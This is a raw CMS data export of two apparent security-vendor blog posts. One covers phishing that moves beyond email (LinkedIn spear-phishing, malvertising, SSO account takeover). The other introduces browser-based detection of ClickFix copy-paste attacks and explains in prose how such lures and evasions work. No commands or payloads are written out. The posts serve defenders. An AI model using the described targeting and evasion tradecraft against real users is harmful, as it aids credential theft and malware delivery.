DBIR",{"data":13017,"marks":13018,"value":13019,"nodeType":865},{},[],", 60%+ of creds found in infostealer logs were from social media sites. They’re also likely to use single-factor logins. If an attacker can take over one account, and use it to credibly communicate with one of your employees, they have a way higher likelihood of being successful than with your average unsolicited email. ",{"data":13021,"content":13022,"nodeType":866},{},[13023,13027,13034],{"data":13024,"marks":13025,"value":13026,"nodeType":865},{},[],"Malicious ads can also be targeted. For example, Google Ads can be targeted to searches coming from specific geographic locations, tailored to specific email domain matches, or specific device types (e.g. desktop, mobile, etc.). If you know where your target organization is located, you can tailor the ad to that location. Phishing sites also often come with ",{"data":13028,"content":13029,"nodeType":889},{"uri":9195},[13030],{"data":13031,"marks":13032,"value":9755,"nodeType":865},{},[13033],{"type":1191},{"data":13035,"marks":13036,"value":13037,"nodeType":865},{},[]," parameters to only deliver the malicious payload under specific conditions — for example, only if the visitor came from a particular email campaign link, or only if they are in a certain organization, using a certain browser, from a specific IP range, etc. ",{"data":13039,"content":13040,"nodeType":866},{},[13041,13045,13054],{"data":13042,"marks":13043,"value":13044,"nodeType":865},{},[],"And even if the attacker only manages to reach your employee on their personal device, this can still be laundered into a corporate account compromise. Just look at the ",{"data":13046,"content":13048,"nodeType":889},{"uri":13047},"https://sec.okta.com/articles/2023/11/unauthorized-access-oktas-support-case-management-system-root-cause",[13049],{"data":13050,"marks":13051,"value":13053,"nodeType":865},{},[13052],{"type":1191},"2023 Okta breach",{"data":13055,"marks":13056,"value":13057,"nodeType":865},{},[],", where an attacker exploited the fact that an Okta employee had signed into a personal Google profile on their work device. This meant any credentials saved in their browser were synced to their personal device — including a customer support system service account providing access to 134 customer tenants. When their personal device got hacked, so too did all of their work credentials.",{"data":13059,"content":13060,"nodeType":866},{},[13061],{"data":13062,"marks":13063,"value":13064,"nodeType":865},{},[],"So, there’s plenty of scope for non-email phishing to result in targeted phishing campaigns. If anything, it’s arguably less work for the attacker to spin up these non-email campaigns than it is to do the necessary legwork to create and build up email sender reputation!",{"data":13066,"content":13067,"nodeType":944},{},[],{"data":13069,"content":13070,"nodeType":953},{},[13071],{"data":13072,"marks":13073,"value":13075,"nodeType":865},{},[13074],{"type":935},"Case study: LinkedIn spear-phishing",{"data":13077,"content":13078,"nodeType":866},{},[13079,13082,13091],{"data":13080,"marks":13081,"value":21,"nodeType":865},{},[],{"data":13083,"content":13085,"nodeType":889},{"uri":13084},"https://pushsecurity.com/blog/how-push-stopped-a-high-risk-linkedin-spear-phishing-attack/",[13086],{"data":13087,"marks":13088,"value":13090,"nodeType":865},{},[13089],{"type":1191},"Attackers recently ran a LinkedIn spear-phishing campaign targeting tech company execs.",{"data":13092,"marks":13093,"value":13094,"nodeType":865},{},[]," The victims were targeted via LinkedIn direct message from another exec about a fake investment opportunity. The sender’s account had been compromised and used to approach high-value targets. ",{"data":13096,"content":13097,"nodeType":866},{},[13098,13102,13111,13115,13123],{"data":13099,"marks":13100,"value":13101,"nodeType":865},{},[],"The attack led the victim through a chain of custom pages hosted on ",{"data":13103,"content":13105,"nodeType":889},{"uri":13104},"https://phishing-techniques.pushsecurity.com/techniques/trusted-website-hosting/",[13106],{"data":13107,"marks":13108,"value":13110,"nodeType":865},{},[13109],{"type":1191},"legitimate sites",{"data":13112,"marks":13113,"value":13114,"nodeType":865},{},[]," (a well-known ",{"data":13116,"content":13118,"nodeType":889},{"uri":13117},"https://pushsecurity.com/resources/phishing-evolution?",[13119],{"data":13120,"marks":13121,"value":1393,"nodeType":865},{},[13122],{"type":1191},{"data":13124,"marks":13125,"value":13126,"nodeType":865},{},[],") such as Google Sites, Google Search, and Microsoft Dynamics, before serving up an Attacker-in-the-Middle phishing page impersonating Google Workspace, before serving up a session-stealing AitM phishing page. ",{"data":13128,"content":13132,"nodeType":921},{"target":13129},{"sys":13130},{"id":13131,"type":918,"linkType":919},"1cEvEzLdKIuj6zuGn9aWJB",[],{"data":13134,"content":13138,"nodeType":921},{"target":13135},{"sys":13136},{"id":13137,"type":918,"linkType":919},"6LfBXkDKqh1ogCMxaxyV6x",[],{"data":13140,"content":13141,"nodeType":944},{},[],{"data":13143,"content":13144,"nodeType":953},{},[13145],{"data":13146,"marks":13147,"value":13149,"nodeType":865},{},[13148],{"type":935},"Case study: Google Search malvertising",{"data":13151,"content":13152,"nodeType":866},{},[13153,13156,13165],{"data":13154,"marks":13155,"value":21,"nodeType":865},{},[],{"data":13157,"content":13159,"nodeType":889},{"uri":13158},"https://pushsecurity.com/blog/investigating-a-recent-malvertising-campaign-targeting-onfido-customers/",[13160],{"data":13161,"marks":13162,"value":13164,"nodeType":865},{},[13163],{"type":1191},"A company was hit with a targeted Google ad",{"data":13166,"marks":13167,"value":13168,"nodeType":865},{},[]," which was designed to look highly convincing, and positioned above the legitimate ad. This took advantage of the fact that many users will search for login pages rather than accessing the site via bookmark. ",{"data":13170,"content":13171,"nodeType":866},{},[13172,13176,13185],{"data":13173,"marks":13174,"value":13175,"nodeType":865},{},[],"In this case, the attacker had made use of a ",{"data":13177,"content":13179,"nodeType":889},{"uri":13178},"https://phishing-techniques.pushsecurity.com/techniques/rentable-subdomains/",[13180],{"data":13181,"marks":13182,"value":13184,"nodeType":865},{},[13183],{"type":1191},"rentable subdomain",{"data":13186,"marks":13187,"value":13188,"nodeType":865},{},[]," (us[.]com) to make the link appear highly legitimate, with only small changes to the real URL that were easy to miss. ",{"data":13190,"content":13191,"nodeType":866},{},[13192],{"data":13193,"marks":13194,"value":13195,"nodeType":865},{},[],"Instead of the real login, the link took the victim to a session-stealing AITM page.  ",{"data":13197,"content":13198,"nodeType":866},{},[13199,13203,13212],{"data":13200,"marks":13201,"value":13202,"nodeType":865},{},[],"This was later traced back to a ",{"data":13204,"content":13206,"nodeType":889},{"uri":13205},"https://pushsecurity.com/blog/scattered-spider-ttp-evolution-in-2025/",[13207],{"data":13208,"marks":13209,"value":13211,"nodeType":865},{},[13210],{"type":1191},"Scattered Spider",{"data":13213,"marks":13214,"value":13215,"nodeType":865},{},[]," campaign.",{"data":13217,"content":13221,"nodeType":921},{"target":13218},{"sys":13219},{"id":13220,"type":918,"linkType":919},"5o1LEkZfeYVjMZmROi3Yh",[],{"data":13223,"content":13227,"nodeType":921},{"target":13224},{"sys":13225},{"id":13226,"type":918,"linkType":919},"4RAXFNPdvUXjMDUE7tc10a",[],{"data":13229,"content":13230,"nodeType":944},{},[],{"data":13232,"content":13233,"nodeType":953},{},[13234],{"data":13235,"marks":13236,"value":13238,"nodeType":865},{},[13237],{"type":935},"What can an attacker do with a compromised account? ",{"data":13240,"content":13241,"nodeType":866},{},[13242],{"data":13243,"marks":13244,"value":13245,"nodeType":865},{},[],"It’s important to think about the bigger picture when it comes to a modern phishing compromise. ",{"data":13247,"content":13248,"nodeType":866},{},[13249],{"data":13250,"marks":13251,"value":13252,"nodeType":865},{},[],"Most phishing attacks focus on core enterprise cloud platforms such as Microsoft and Google, or specialist Identity Providers like Okta. Taking over one of these accounts doesn’t just give access to the core apps and data within the respective app, but also enables the attacker to leverage SSO to sign into any connected app that the employee logs into with their account. ",{"data":13254,"content":13255,"nodeType":866},{},[13256,13260,13268,13272,13281],{"data":13257,"marks":13258,"value":13259,"nodeType":865},{},[],"This gives an attacker access to just about every core business function and dataset in your organization. And from this point, it’s much easier to target other users of these internal apps — using internal messenger apps like ",{"data":13261,"content":13262,"nodeType":889},{"uri":11313},[13263],{"data":13264,"marks":13265,"value":13267,"nodeType":865},{},[13266],{"type":1191},"Slack or Teams",{"data":13269,"marks":13270,"value":13271,"nodeType":865},{},[],", or techniques like ",{"data":13273,"content":13275,"nodeType":889},{"uri":13274},"https://github.com/pushsecurity/saas-attacks/blob/main/techniques/samljacking/description.md",[13276],{"data":13277,"marks":13278,"value":13280,"nodeType":865},{},[13279],{"type":1191},"SAMLjacking",{"data":13282,"marks":13283,"value":13284,"nodeType":865},{},[]," to turn an app into a watering hole for other users trying to log in. ",{"data":13286,"content":13287,"nodeType":866},{},[13288],{"data":13289,"marks":13290,"value":13291,"nodeType":865},{},[],"A single account compromise can quickly snowball into a multi-million dollar, business-wide breach.",{"data":13293,"content":13294,"nodeType":944},{},[],{"data":13296,"content":13297,"nodeType":953},{},[13298],{"data":13299,"marks":13300,"value":13302,"nodeType":865},{},[13301],{"type":935},"What can organizations do about non-email phishing? ",{"data":13304,"content":13305,"nodeType":866},{},[13306],{"data":13307,"marks":13308,"value":13309,"nodeType":865},{},[],"It’s clear that the traditional anti-phishing toolset hasn’t kept up with phishing innovation. ",{"data":13311,"content":13312,"nodeType":866},{},[13313],{"data":13314,"marks":13315,"value":13316,"nodeType":865},{},[],"To tackle modern phishing attacks, organizations need a solution that detects and blocks phishing across all apps and delivery vectors. ",{"data":13318,"content":13319,"nodeType":866},{},[13320],{"data":13321,"marks":13322,"value":13323,"nodeType":865},{},[],"Push Security doesn’t detect the redirect tricks, or rely on outdated domain TI feeds. It doesn’t matter what delivery channel or camouflage methods are used, Push detects and blocks attacks by identifying the attack in real time, as the user loads and interacts with the page in their web browser.",{"data":13325,"content":13326,"nodeType":866},{},[13327],{"data":13328,"marks":13329,"value":13330,"nodeType":865},{},[],"Push’s browser-based security platform provides comprehensive identity attack detection and response capabilities against techniques like AiTM phishing, credential stuffing, ClickFixing, malicious browser extensions, and session hijacking using stolen session tokens. ",{"data":13332,"content":13333,"nodeType":866},{},[13334,13337,13344,13347,13354],{"data":13335,"marks":13336,"value":9514,"nodeType":865},{},[],{"data":13338,"content":13339,"nodeType":889},{"uri":3192},[13340],{"data":13341,"marks":13342,"value":3198,"nodeType":865},{},[13343],{"type":1191},{"data":13345,"marks":13346,"value":9525,"nodeType":865},{},[],{"data":13348,"content":13349,"nodeType":889},{"uri":2644},[13350],{"data":13351,"marks":13352,"value":3223,"nodeType":865},{},[13353],{"type":1191},{"data":13355,"marks":13356,"value":1066,"nodeType":865},{},[],"Why attackers are moving beyond email-based phishing","Why phishing attacks are moving away from exclusively email-based delivery, and what this means for security teams. \n","2025-09-18T00:00:00.000Z","why-attackers-are-moving-beyond-email-based-phishing",{"items":13362},[13363,13365],{"sys":13364,"name":2663},{"id":2662},{"sys":13366,"name":342},{"id":2666},{"items":13368},[13369],{"fullName":2670,"firstName":2671,"jobTitle":2672,"profilePicture":13370},{"url":2674},{"__typename":1802,"sys":13372,"content":13374,"title":13994,"synopsis":13995,"hashTags":59,"publishedDate":13996,"slug":13997,"tagsCollection":13998,"authorsCollection":14004},{"id":13373},"1u8RJxC00HbBhCBVxcDnkK",{"json":13375},{"data":13376,"content":13377,"nodeType":1663},{},[13378,13423,13480,13495,13500,13507,13510,13518,13525,13532,13539,13559,13566,13572,13590,13596,13599,13607,13614,13622,13642,13649,13656,13663,13671,13678,13685,13691,13698,13731,13737,13745,13764,13771,13794,13801,13808,13814,13821,13824,13832,13846,13866,13873,13880,13887,13892,13900,13919,13922,13929,13936,13943,13950,13957,13983,13988],{"data":13379,"content":13380,"nodeType":866},{},[13381,13385,13393,13397,13406,13410,13419],{"data":13382,"marks":13383,"value":13384,"nodeType":865},{},[],"One of the biggest security trends in the past year has been the emergence of the attack technique known as ",{"data":13386,"content":13388,"nodeType":889},{"uri":13387},"https://www.microsoft.com/en-us/security/blog/2025/08/21/think-before-you-clickfix-analyzing-the-clickfix-social-engineering-technique/",[13389],{"data":13390,"marks":13391,"value":315,"nodeType":865},{},[13392],{"type":1191},{"data":13394,"marks":13395,"value":13396,"nodeType":865},{},[],". Various reports indicate that ClickFix is fast becoming one of the most prevalent attack techniques this year, with ",{"data":13398,"content":13400,"nodeType":889},{"uri":13399},"https://www.scworld.com/news/clickfix-phishing-links-increased-nearly-400-in-12-months-report-says",[13401],{"data":13402,"marks":13403,"value":13405,"nodeType":865},{},[13404],{"type":1191},"one study",{"data":13407,"marks":13408,"value":13409,"nodeType":865},{},[]," reporting that email-based ClickFix attacks have increased by 400% YOY, and ",{"data":13411,"content":13413,"nodeType":889},{"uri":13412},"https://web-assets.esetstatic.com/wls/en/papers/threat-reports/eset-threat-report-h12025.pdf",[13414],{"data":13415,"marks":13416,"value":13418,"nodeType":865},{},[13417],{"type":1191},"another",{"data":13420,"marks":13421,"value":13422,"nodeType":865},{},[]," highlighting a 517% increase in the past 6 months. ",{"data":13424,"content":13425,"nodeType":866},{},[13426,13430,13439,13442,13451,13454,13463,13467,13476],{"data":13427,"marks":13428,"value":13429,"nodeType":865},{},[],"ClickFix is known to be regularly used by the Interlock ransomware group and other prolific threat actors. A number of recent public data breaches have been linked to ClickFix attacks as the attack vector, such as ",{"data":13431,"content":13433,"nodeType":889},{"uri":13432},"https://www.bleepingcomputer.com/news/security/kettering-health-confirms-interlock-ransomware-behind-cyberattack/",[13434],{"data":13435,"marks":13436,"value":13438,"nodeType":865},{},[13437],{"type":1191},"Kettering Health",{"data":13440,"marks":13441,"value":3202,"nodeType":865},{},[],{"data":13443,"content":13445,"nodeType":889},{"uri":13444},"https://www.bleepingcomputer.com/news/security/interlock-ransomware-claims-davita-attack-leaks-stolen-data/",[13446],{"data":13447,"marks":13448,"value":13450,"nodeType":865},{},[13449],{"type":1191},"DaVita",{"data":13452,"marks":13453,"value":3202,"nodeType":865},{},[],{"data":13455,"content":13457,"nodeType":889},{"uri":13456},"https://www.infosecurity-magazine.com/news/st-paul-mayor-interlock-data-leak/",[13458],{"data":13459,"marks":13460,"value":13462,"nodeType":865},{},[13461],{"type":1191},"City of St. Paul, Minnesota",{"data":13464,"marks":13465,"value":13466,"nodeType":865},{},[],", and the ",{"data":13468,"content":13470,"nodeType":889},{"uri":13469},"https://www.blackfog.com/texas-tech-cyberattack-1-4m-records-compromised/",[13471],{"data":13472,"marks":13473,"value":13475,"nodeType":865},{},[13474],{"type":1191},"Texas Tech University Health Sciences Centers",{"data":13477,"marks":13478,"value":13479,"nodeType":865},{},[]," (with many more breaches likely to involve ClickFix where the attack vector wasn’t known or disclosed).",{"data":13481,"content":13482,"nodeType":866},{},[13483,13487,13491],{"data":13484,"marks":13485,"value":13486,"nodeType":865},{},[],"Push’s latest feature, ",{"data":13488,"marks":13489,"value":12623,"nodeType":865},{},[13490],{"type":935},{"data":13492,"marks":13493,"value":13494,"nodeType":865},{},[],", tackles ClickFix-style attacks at the earliest opportunity through browser-based detection, with a universally effective control that works regardless of the lure delivery channel, or page style and structure. ",{"data":13496,"content":13499,"nodeType":921},{"target":13497},{"sys":13498},{"id":12646,"type":918,"linkType":919},[],{"data":13501,"content":13502,"nodeType":866},{},[13503],{"data":13504,"marks":13505,"value":13506,"nodeType":865},{},[],"Before we get into the specifics of the feature, let’s take a look at what ClickFix is and why it poses a detection and response challenge to security teams.",{"data":13508,"content":13509,"nodeType":944},{},[],{"data":13511,"content":13512,"nodeType":953},{},[13513],{"data":13514,"marks":13515,"value":13517,"nodeType":865},{},[13516],{"type":935},"ClickFix 101",{"data":13519,"content":13520,"nodeType":866},{},[13521],{"data":13522,"marks":13523,"value":13524,"nodeType":865},{},[],"ClickFix attacks prompt the user to solve some kind of problem or challenge in the browser — most commonly a CAPTCHA, but also things like fixing an error on a webpage. The name is a little misleading though — the key factor in the attack is that they trick users into running malicious commands on their device by copying malicious code from the page clipboard and running it locally. (For simplicity we’ll keep calling it ClickFix, but we’re not happy about it.)",{"data":13526,"content":13527,"nodeType":866},{},[13528],{"data":13529,"marks":13530,"value":13531,"nodeType":865},{},[],"The copy action is either performed manually by the user, or automatically by the page. Manual copies typically include additional social engineering to lure the victim into hitting CTRL+C, while automatic copies are performed using JavaScript running on the page. Most ClickFix pages we've seen are automatic copies, which makes sense — fewer steps means the user is more likely to follow the instruction.",{"data":13533,"content":13534,"nodeType":866},{},[13535],{"data":13536,"marks":13537,"value":13538,"nodeType":865},{},[],"Most commonly, these attacks are used to deliver remote access software or infostealer malware using stolen session cookies and credentials to facilitate attacks on business apps and services. From there, the attacker simply dumps the data and holds the victim to ransom for its deletion — often dropping ransomware afterwards for double the extortion. ",{"data":13540,"content":13541,"nodeType":866},{},[13542,13546,13555],{"data":13543,"marks":13544,"value":13545,"nodeType":865},{},[],"The attack gives the victim instructions that involve clicking prompts and copying, pasting, and running commands directly in the Windows Run dialog box, Terminal, or PowerShell in order to “fix” the fake problem that they’re experiencing. Variants such as ",{"data":13547,"content":13549,"nodeType":889},{"uri":13548},"https://mrd0x.com/filefix-clickfix-alternative/",[13550],{"data":13551,"marks":13552,"value":13554,"nodeType":865},{},[13553],{"type":1191},"FileFix",{"data":13556,"marks":13557,"value":13558,"nodeType":865},{},[]," have also emerged which instead use the File Explorer Address Bar to execute OS commands.",{"data":13560,"content":13561,"nodeType":866},{},[13562],{"data":13563,"marks":13564,"value":13565,"nodeType":865},{},[],"Links to malicious ClickFix pages are distributed over various delivery channels, with attacks shifting from traditional email-based delivery to social media, instant messaging apps, malicious ads in places like Google Search, and using in-app notifications and messages across numerous SaaS services. ",{"data":13567,"content":13571,"nodeType":921},{"target":13568},{"sys":13569},{"id":13570,"type":918,"linkType":919},"1I9ERDY2tuspw5zVMV5DbY",[],{"data":13573,"content":13574,"nodeType":866},{},[13575,13579,13586],{"data":13576,"marks":13577,"value":13578,"nodeType":865},{},[],"ClickFix comes in a variety of lures, including impersonating CAPTCHA, Cloudflare Turnstile, simulating an error loading a webpage, and many more. They have also been observed targeting a ",{"data":13580,"content":13581,"nodeType":889},{"uri":12400},[13582],{"data":13583,"marks":13584,"value":13585,"nodeType":865},{},[],"wide range of services",{"data":13587,"marks":13588,"value":13589,"nodeType":865},{},[]," to execute code. ",{"data":13591,"content":13595,"nodeType":921},{"target":13592},{"sys":13593},{"id":13594,"type":918,"linkType":919},"1SG52ta1hcBZ3gYDsSJvsm",[],{"data":13597,"content":13598,"nodeType":944},{},[],{"data":13600,"content":13601,"nodeType":953},{},[13602],{"data":13603,"marks":13604,"value":13606,"nodeType":865},{},[13605],{"type":935},"Why are ClickFix attacks so effective?",{"data":13608,"content":13609,"nodeType":866},{},[13610],{"data":13611,"marks":13612,"value":13613,"nodeType":865},{},[],"To understand the effectiveness of ClickFix-style attacks, we need to look more closely at the mechanisms that security teams have at their disposal to counter these attacks. ",{"data":13615,"content":13616,"nodeType":1229},{},[13617],{"data":13618,"marks":13619,"value":13621,"nodeType":865},{},[13620],{"type":935},"Detection challenges during delivery",{"data":13623,"content":13624,"nodeType":866},{},[13625,13629,13638],{"data":13626,"marks":13627,"value":13628,"nodeType":865},{},[],"We’ve written extensively about ",{"data":13630,"content":13632,"nodeType":889},{"uri":13631},"https://pushsecurity.com/blog/phishing-detection-evasion-launch/",[13633],{"data":13634,"marks":13635,"value":13637,"nodeType":865},{},[13636],{"type":1191},"the evolution in phishing techniques and tooling",{"data":13639,"marks":13640,"value":13641,"nodeType":865},{},[],", and what this means for the reliability of traditional detections at the network and endpoint layer. ",{"data":13643,"content":13644,"nodeType":866},{},[13645],{"data":13646,"marks":13647,"value":13648,"nodeType":865},{},[],"The latest generation of phishing pages are dynamically obfuscating the code that loads the web page, implementing custom bot protection (e.g. CAPTCHA or Cloudflare Turnstile), using runtime anti-analysis features, and using legitimate SaaS and cloud services to host and deliver phishing links to cover their tracks.",{"data":13650,"content":13651,"nodeType":866},{},[13652],{"data":13653,"marks":13654,"value":13655,"nodeType":865},{},[],"This means that traditional anti-phishing tools at the email and network layer are struggling to keep up, with many attacks evading email-based detections (or bypassing email altogether). At the same time, proxy-based solutions now see a garbled mess of JavaScript code without the necessary context of what is actually happening in the browser to be able to piece it together effectively. Even if they don’t realize it, this means many organizations are now relying solely on blocking known-bad sites and hosts — a wildly ineffective solution in 2025 with the rate that attackers refresh and rotate their phishing infrastructure. ",{"data":13657,"content":13658,"nodeType":866},{},[13659],{"data":13660,"marks":13661,"value":13662,"nodeType":865},{},[],"In addition to the fact that ClickFix page styles and content can vary significantly, this means that detecting ClickFix delivery using traditional tooling is highly unreliable. ",{"data":13664,"content":13665,"nodeType":1229},{},[13666],{"data":13667,"marks":13668,"value":13670,"nodeType":865},{},[13669],{"type":935},"Detection challenges during execution",{"data":13672,"content":13673,"nodeType":866},{},[13674],{"data":13675,"marks":13676,"value":13677,"nodeType":865},{},[],"Most of the detection heavy lifting is being done at the endpoint, looking for user-level code execution and malware running on a device. ",{"data":13679,"content":13680,"nodeType":866},{},[13681],{"data":13682,"marks":13683,"value":13684,"nodeType":865},{},[],"However, the number of ClickFix-related headlines in the news would indicate that endpoint controls are being routinely bypassed, or perhaps evaded altogether by targeting personal or BYOD devices. ",{"data":13686,"content":13690,"nodeType":921},{"target":13687},{"sys":13688},{"id":13689,"type":918,"linkType":919},"pocty4OhER5EXr8BDwdzo",[],{"data":13692,"content":13693,"nodeType":866},{},[13694],{"data":13695,"marks":13696,"value":13697,"nodeType":865},{},[],"There are a number of reasons that endpoint-level ClickFix detections can be bypassed:",{"data":13699,"content":13700,"nodeType":2374},{},[13701,13711,13721],{"data":13702,"content":13703,"nodeType":2309},{},[13704],{"data":13705,"content":13706,"nodeType":866},{},[13707],{"data":13708,"marks":13709,"value":13710,"nodeType":865},{},[],"The step of downloading a file from the web is bypassed altogether. In a ClickFix/FileFix attack, the initial “dropper” is essentially a command string provided by the attacker and executed by legitimate system utilities. There is often no new executable file written to disk when the user runs the command. The final payload may be loaded directly into memory or injected into trusted programs (using living-off-the-land techniques). Without a file to quarantine, there's no \"Mark of the Web\" to make it appear suspicious. ",{"data":13712,"content":13713,"nodeType":2309},{},[13714],{"data":13715,"content":13716,"nodeType":866},{},[13717],{"data":13718,"marks":13719,"value":13720,"nodeType":865},{},[],"From the EDR’s point of view, a trusted parent process is launching a script – which might not immediately be judged as malicious, especially if the command is obfuscated or uses allowed system functions. Since the action is initiated by the user, it blends in with normal user-driven administration tasks. ",{"data":13722,"content":13723,"nodeType":2309},{},[13724],{"data":13725,"content":13726,"nodeType":866},{},[13727],{"data":13728,"marks":13729,"value":13730,"nodeType":865},{},[],"The PowerShell commands themselves might be obfuscated or broken into stages to avoid easy detection by heuristic rules. EDR telemetry might record that a PowerShell process ran, but without a known bad signature or a clear policy violation, it may not flag it immediately. ",{"data":13732,"content":13736,"nodeType":921},{"target":13733},{"sys":13734},{"id":13735,"type":918,"linkType":919},"6djGsqBFTHlLLITpTK7IMk",[],{"data":13738,"content":13739,"nodeType":1229},{},[13740],{"data":13741,"marks":13742,"value":13744,"nodeType":865},{},[13743],{"type":935},"Accessing ClickFix-style capabilities is easier than ever",{"data":13746,"content":13747,"nodeType":866},{},[13748,13752,13760],{"data":13749,"marks":13750,"value":13751,"nodeType":865},{},[],"This capability is increasingly available to all levels of threat actor, with ",{"data":13753,"content":13754,"nodeType":889},{"uri":13387},[13755],{"data":13756,"marks":13757,"value":13759,"nodeType":865},{},[13758],{"type":1191},"off-the-shelf options available",{"data":13761,"marks":13762,"value":13763,"nodeType":865},{},[]," in the form of ClickFix builders (also called “Win + R”) on popular hacker forums since late 2024. ",{"data":13765,"content":13766,"nodeType":866},{},[13767],{"data":13768,"marks":13769,"value":13770,"nodeType":865},{},[],"Attackers are bundling ClickFix builders into their existing kits to:",{"data":13772,"content":13773,"nodeType":2374},{},[13774,13784],{"data":13775,"content":13776,"nodeType":2309},{},[13777],{"data":13778,"content":13779,"nodeType":866},{},[13780],{"data":13781,"marks":13782,"value":13783,"nodeType":865},{},[],"Use pre-canned landing pages with various lures including Cloudflare. ",{"data":13785,"content":13786,"nodeType":2309},{},[13787],{"data":13788,"content":13789,"nodeType":866},{},[13790],{"data":13791,"marks":13792,"value":13793,"nodeType":865},{},[],"Offer construction of malicious commands that users will paste into the Windows Run dialog. ",{"data":13795,"content":13796,"nodeType":866},{},[13797],{"data":13798,"marks":13799,"value":13800,"nodeType":865},{},[],"These kits claim to guarantee antivirus and web protection bypass (some even promise that they can bypass Microsoft Defender SmartScreen), as well as payload persistence. The cost of subscription to such a service might be between US$200 to US$1,500 per month. ",{"data":13802,"content":13803,"nodeType":866},{},[13804],{"data":13805,"marks":13806,"value":13807,"nodeType":865},{},[],"In short, these capabilities are increasingly accessible to the general population of hackers, and it is increasingly in the interests of malware developers to offer premium hacker tools designed to bypass current detections. ",{"data":13809,"content":13813,"nodeType":921},{"target":13810},{"sys":13811},{"id":13812,"type":918,"linkType":919},"5hkRsOBZCOABAShCo8RjJg",[],{"data":13815,"content":13816,"nodeType":866},{},[13817],{"data":13818,"marks":13819,"value":13820,"nodeType":865},{},[],"In any case, relying on just-in-time detection at the point of execution is increasingly unreliable and will always be at the mercy of the cat-and-mouse game between attackers and defenders. Organizations employing custom detections looking for specific malware behavior are likely to have better success than those relying on out-of-the-box EDR configs, but this requires continual maintenance to be effective. ",{"data":13822,"content":13823,"nodeType":944},{},[],{"data":13825,"content":13826,"nodeType":953},{},[13827],{"data":13828,"marks":13829,"value":13831,"nodeType":865},{},[13830],{"type":935},"Solving ClickFix detection in the browser with Push",{"data":13833,"content":13834,"nodeType":866},{},[13835,13838,13842],{"data":13836,"marks":13837,"value":13486,"nodeType":865},{},[],{"data":13839,"marks":13840,"value":12623,"nodeType":865},{},[13841],{"type":935},{"data":13843,"marks":13844,"value":13845,"nodeType":865},{},[],", tackles ClickFix-style attacks at the earliest opportunity through browser-based detection and blocking, with a universally effective control that works regardless of the lure delivery channel, page style and structure, or the specifics of the malware type and execution.",{"data":13847,"content":13848,"nodeType":866},{},[13849,13853,13862],{"data":13850,"marks":13851,"value":13852,"nodeType":865},{},[],"A key part of our design philosophy is to find ways to universally detect attacker TTPs by analyzing generic attacker actions that can’t be avoided by the attacker. One of our best prior examples of this is with our ",{"data":13854,"content":13856,"nodeType":889},{"uri":13855},"https://pushsecurity.com/blog/introducing-sso-password-protection/",[13857],{"data":13858,"marks":13859,"value":13861,"nodeType":865},{},[13860],{"type":1191},"password protection feature",{"data":13863,"marks":13864,"value":13865,"nodeType":865},{},[],", which detects and blocks phishing attacks by triggering when a user attempts to enter a password that belongs to one domain on a different domain. ",{"data":13867,"content":13868,"nodeType":866},{},[13869],{"data":13870,"marks":13871,"value":13872,"nodeType":865},{},[],"In the case of ClickFix, every attack involves copying a malicious script from a page — a behavior the attacker can’t avoid.",{"data":13874,"content":13875,"nodeType":866},{},[13876],{"data":13877,"marks":13878,"value":13879,"nodeType":865},{},[],"Unlike heavy-handed DLP solutions that block copy-paste altogether, Push protects your employees without disrupting their user experience or hampering productivity. ",{"data":13881,"content":13882,"nodeType":866},{},[13883],{"data":13884,"marks":13885,"value":13886,"nodeType":865},{},[],"Check out the video below to see Push in action. ",{"data":13888,"content":13891,"nodeType":921},{"target":13889},{"sys":13890},{"id":12646,"type":918,"linkType":919},[],{"data":13893,"content":13894,"nodeType":1229},{},[13895],{"data":13896,"marks":13897,"value":13899,"nodeType":865},{},[13898],{"type":935},"Enable ClickFix detection in just a few clicks",{"data":13901,"content":13902,"nodeType":866},{},[13903,13907,13915],{"data":13904,"marks":13905,"value":13906,"nodeType":865},{},[],"Check out the ",{"data":13908,"content":13910,"nodeType":889},{"uri":13909},"https://pushsecurity.com/help/10141/#start",[13911],{"data":13912,"marks":13913,"value":13914,"nodeType":865},{},[],"help article",{"data":13916,"marks":13917,"value":13918,"nodeType":865},{},[]," for step-by-step instructions on how to enable the control. ",{"data":13920,"content":13921,"nodeType":944},{},[],{"data":13923,"content":13924,"nodeType":953},{},[13925],{"data":13926,"marks":13927,"value":5589,"nodeType":865},{},[13928],{"type":935},{"data":13930,"content":13931,"nodeType":866},{},[13932],{"data":13933,"marks":13934,"value":13935,"nodeType":865},{},[],"Push provides last mile protection against browser-based attacks, adding a net-new layer of technical protection in the browser. ",{"data":13937,"content":13938,"nodeType":866},{},[13939],{"data":13940,"marks":13941,"value":13942,"nodeType":865},{},[],"Right now, most organizations are left relying on user awareness. Faced with increasingly novel attack types, encountered all over the internet, users are being caught unawares — further reducing the efficacy of an already fragile control. ",{"data":13944,"content":13945,"nodeType":866},{},[13946],{"data":13947,"marks":13948,"value":13949,"nodeType":865},{},[],"By seeing what the user sees in the browser, as they see it, as well as monitoring for risky behaviors, Push provides a strong backstop against an ever-expanding landscape of browser-based exploits. ",{"data":13951,"content":13952,"nodeType":866},{},[13953],{"data":13954,"marks":13955,"value":13956,"nodeType":865},{},[],"Push’s browser-based security platform provides comprehensive identity attack detection and response capabilities against techniques like AiTM phishing, credential stuffing, ClickFixing, malicious browser extensions, and session hijacking using stolen session tokens. You can also use Push to find and fix vulnerabilities across the apps that your employees use, like ghost logins, SSO coverage gaps, MFA gaps, vulnerable passwords, risky OAuth integrations, and more to harden your identity attack surface.",{"data":13958,"content":13959,"nodeType":866},{},[13960,13963,13970,13973,13980],{"data":13961,"marks":13962,"value":9514,"nodeType":865},{},[],{"data":13964,"content":13965,"nodeType":889},{"uri":3192},[13966],{"data":13967,"marks":13968,"value":3198,"nodeType":865},{},[13969],{"type":1191},{"data":13971,"marks":13972,"value":9525,"nodeType":865},{},[],{"data":13974,"content":13975,"nodeType":889},{"uri":2644},[13976],{"data":13977,"marks":13978,"value":3223,"nodeType":865},{},[13979],{"type":1191},{"data":13981,"marks":13982,"value":1066,"nodeType":865},{},[],{"data":13984,"content":13987,"nodeType":921},{"target":13985},{"sys":13986},{"id":13735,"type":918,"linkType":919},[],{"data":13989,"content":13990,"nodeType":866},{},[13991],{"data":13992,"marks":13993,"value":21,"nodeType":865},{},[],"Introducing malicious copy and paste detection","Push now detects malware delivery in the browser, supporting a layered defense against endpoint attacks. 